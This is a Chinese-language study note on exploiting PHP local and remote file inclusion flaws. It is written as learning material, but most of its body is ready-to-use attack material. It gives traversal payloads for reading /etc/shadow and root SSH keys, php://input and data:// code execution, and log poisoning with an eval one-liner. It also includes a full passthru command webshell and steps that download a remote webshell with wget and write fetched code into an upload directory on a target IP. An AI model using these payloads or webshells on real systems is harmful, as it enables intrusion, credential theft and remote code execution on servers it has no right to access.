PHP文件包含漏洞学习笔记
0x01 简介
在通过php的函数引入文件时,由于对传入的文件名没有进行有效的验证,进而导致了漏洞的产生。
几乎所有脚本语言都会提供文件包含的功能,但是文件包含漏洞在php中居多,其他语言中出现的要少得多,甚至没有,但这并不意味着其他语言中没有。
常见的文件包含函数:
- include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
- require():只要程序一运行就包含文件,找不到被包含文件时会产生致命错误,并停止脚本执行
- Include_once()和require_once():若文件中代码已被包含,则不会再次被包含
其中,本地文件包含漏洞(Local File Inclusion)最为常见
我们来看下面一段代码:
#!php
if($_GET['func']){
include $_GET['func'];
}else{
include 'default.php';
}
程序的本意可能是当提交url为http://example.com/index.php?func=add.php
时,调用add.php
里面的央视内容和功能。直接访问http://example.com/index.php
则会默认包含default.php
那么问题来了,如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg
,且evil.jpg
是有黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的php代码,那么恶意的代码就会被引入当前文件执行。
如果被包含的文件中无有效的php代码,则会直接把文件内容输出
我们在图片最后加上<?php echo 'you are hacker';?>
,看看效果
我们看到图片源码不是有效的php可执行代码直接输出,最后的可执行代码也成功执行
0x02 漏洞分类
本地文件包含
- 上传图片木马,然后包含
- 读取敏感文件,php文件
- 包含日志文件GetShell
- 包含
/proc/self/envion
文件GetShell - 包含
data:
或php://input
等伪协议 - 如果存在
phpinfo
,则可以包含临时文件
黑盒判断方法:url中的path、dir、file、pag、page、archive、p、eng
等相关关键字眼,可能存在文件包含漏洞
远程文件包含
需要保证php.ini
中allow_url_fopen
和allow_url_include
为on
0x03 本地文件包含
普通本地文件包含
#!php
<?php
include("inc/" . $_GET['file']);
?>
包含同目录下的文件:
?file=.htaccess
目录遍历:
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中这两个文件储存着所有文件的路径,需要root权限)
包含错误日志:
?file=../../../../../../../../../var/log/apache/error.log
获取web目录或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
包含上传的附件:
?file=../attachment/media/xxx.file
读取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp
目录下,格式为sess_[your phpsessid value]
,有时候也有可能在/var/lib/php5
之类的目录下,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)
如果拥有root权限还可以试试读这些东西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标志符)
/proc/mounts
proc/config.gz
有限制的本地文件包含
#!php
<?php
include("inc/" . $_GET['file'] . ".htm");
?>
%00截断:
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off
,php小于5.3.4有效)
%00截断目录遍历:
?file=../../../../../../../../../var/www/account/%00
(需要magic_quotes_gpc=off
,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断:
?file=../../../../../../../../../boot.ini/......[...]......
(php版本小于5.2.8(?)可以成功,只用于windows,点号需要长于256)
0x04 远程文件包含
普通远程文件包含
#!php
<?php
include($_GET['file']);
?>
远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On
并且allow_url_include=On
)
利用php流input:
?file=php://input
(需要allow_url_include=On
)
利用php流filter:
?file=php://filter/convert.base64-encode/resource=index.php
(需要allow_url_include=On
)
利用data:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include=On
)
利用XSS执行任意代码:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On
,并且防火墙或者白名单不允许访问外网,现在同站点找一个XSS漏洞,把韩这个页面,就可以执行恶意代码了)
有限制的远程文件包含
#!php
<?php
include($_GET['file'] . ".htm");
?>
?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On,allow_url_include=On
)
?file=\evilshare\shell.php
(只需要allow_url_include=On
)
0x05 具体利用技巧
1. 包含目标机上的其他文件
由于对取得的参数file没有过滤,于是我们可以任意指定目标主机上的其他敏感文件
假如我们去包含一个不存在的文件(需要display_error=On
),我们就可以利用报错信息看到暴露的绝对路径,如下图
有了路径,我们可以多次探测或者利用扫描器来包含其他文件
我们也可以直接指定绝对路径,读取敏感的系统文件,比如http://example.com/index.php?file=/etc/passwd
,如果目标主机没有对全县限制的很严格,或者启动Apache的权限比较高,是可以读取这个文件内容的
否则,就会得到一个类似于:open_basedir restriction in effect
的warning(这里是由于apache的open_basedir中设置了访问目录)
2. 伪协议
php中内置了一些类似于url中的php伪协议,我们可以利用这些伪协议来帮助我们实现更加的高级的文件包含功能
常见的php伪协议:
- file:// 访问本地文件系统
- http:// 访问HTTP(S)网址
- php:// 访问各个输入/输出流
- data:// 数据
php://filter
通常情况下,当我们去包含php源码的时候,源码会被解析,我们就看不到源码了,这时候就可以利用读文件的方式读取到php源码
我们可以使用php://filter/read=convert.base64-encode/resource=xxx.php
的方式,将php源码以base64编码的形式读出来:
解码以后就能得到源代码了
php://input
php <5.0 ,allow_url_include=Off
情况下也可以用
php > 5.0,只有在allow_url_fopen=On,allow_url_include=On
时才能使用
post:<?php phpinfo();?>
我们还可以利用它来向文件中加入一句话:
post:<?php fputs(fopen("test.php", "a"), "<?php phpinfo();?>");?>
执行前:
执行以后,我们再来看一下test.php:
可以看到多了一句<?php phpinfo();?>
除此之外,我们还能上传一个文件
我们只要将上面添加一句话的payload中的文件打开方式用写来打开就可以了
post:<?php fputs(fopen("webshell.php", "w"), "<?php phpinfo();?>");?>
以下分别是执行前和执行后目录下文件的变化
使用php://input还可以执行系统命令
post:<?php system('ls');?>
post:<?php system('ifconfig');?>
data://
这是一种数据流封装器,利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了php中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
http://112.74.35.205/test.php?file=data:text/plain,<?php system(ls);?>
http://112.74.35.205/test.php?file=data:text/plain,PD9waHAgc3lzdGVtKGxzKTs/Pg==(使用了base64编码)
这种方法同样也适用于图片木马
http://example.com/index.php?imagedata=data://image/jpeg;base64,......
3. 包含日志文件
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件,思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。
?file=<?php phpinfo();?>
但是这句话会被编码,我们要抓个包修改一下,再发送请求
接着再去访问日志文件
试试一句话木马
?file=<?php @eval($_POST[value]);?>
同样我们需要把编码了的url修改一下
然后包含日志文件,同时postvalue=phpinfo();
同样如果我们使用get也可以
?file=<?php @eval($_GET['value']);?>
4. 包含session文件
这部分需要攻击者能够控制部分Session文件的内容。PHP默认生成的Session文件一般存放在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell
info布尔值(b)为1;userid长度(s)为1,值为1
5. 远程包含可运行的php木马
如果目标主机的allow_url_fopen=On
(默认是激活的,没几个人会修改),我们就可以利用其他url上的一个包含php代码的webshell来直接运行,比如,先写一段运行命令的php代码,cmd.php/cmd.txt(后缀不重要,只要内容为php就好了,这也是文件包含漏洞十分厉害的一个地方,但是url中的cmd参数需要&来连接)
<?php
if(get_magic_quotes_gpc()){
$_REQUEST["cmd"] = stripslashes($_REQUEST["cmd"]); //去掉转义字符(可去掉字符串中的反斜线字符)
}
ini_set("max_execution_time", 0); //设定针对这个文件的执行时间,0为不限制
echo "start----------"; //打印的返回的开始提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "----------end"; //打印的返回的结束提示信息
?>
6. 包含上传文件的php文件
使用wget命令来下载一个webshell
wget中有一个参数-O(-output-document=FILE,把文档写到FILE文件中)
我们需要在可以通过http或者ftp等可以访问的地方放置一个包含php代码等webshell,比如http://example.com/webshell.txt
然后我们执行如下的url:
http://112.74.35.205/test.php?file=http://112.74.35.205/cmd.php?cmd=wget http://112.74.35.205/webshell.txt -O webshell.php
如果当前目录可写,我们就能得到一个叫做webshell.php的webshell了
执行之前
执行之后
使用文件来创建
前面的wget可能会遇到当前目录不可写的情况,或者目标主机没安装或者禁用了这个命令,怎么办呢?
我们还可以包含一个创建文件的php脚本
在写脚本之前,我们可以先利用之前的包含的命令执行脚本来查看一下当前目录下的权限,找一个能够写入的文件夹
我们可以选择图片中的upload文件夹
<?php
$f = file_get_contents("http://example.com/cmd.txt"); //打开指定路径的文件流
$ff = fopen("./upload/cmd.php", "a"); //寻找一个可以写入的目录,创建一个文件
fwrite($ff, $f); //把前面打开的文件写到创建的文件里
fclose($ff); //关闭保存文件
?>
执行之前,我们可以先去看一下upload目录下的文件
执行url:
http://112.74.35.205/test.php?file=http://112.74.35.205/create.php
执行以后,没有任何返回结果,但是我们再去查看upload
发现多了一个cmd.php
,成果上传了一个包含webshell的php脚本
试着去包含一下我们写入的这个文件
命令成功执行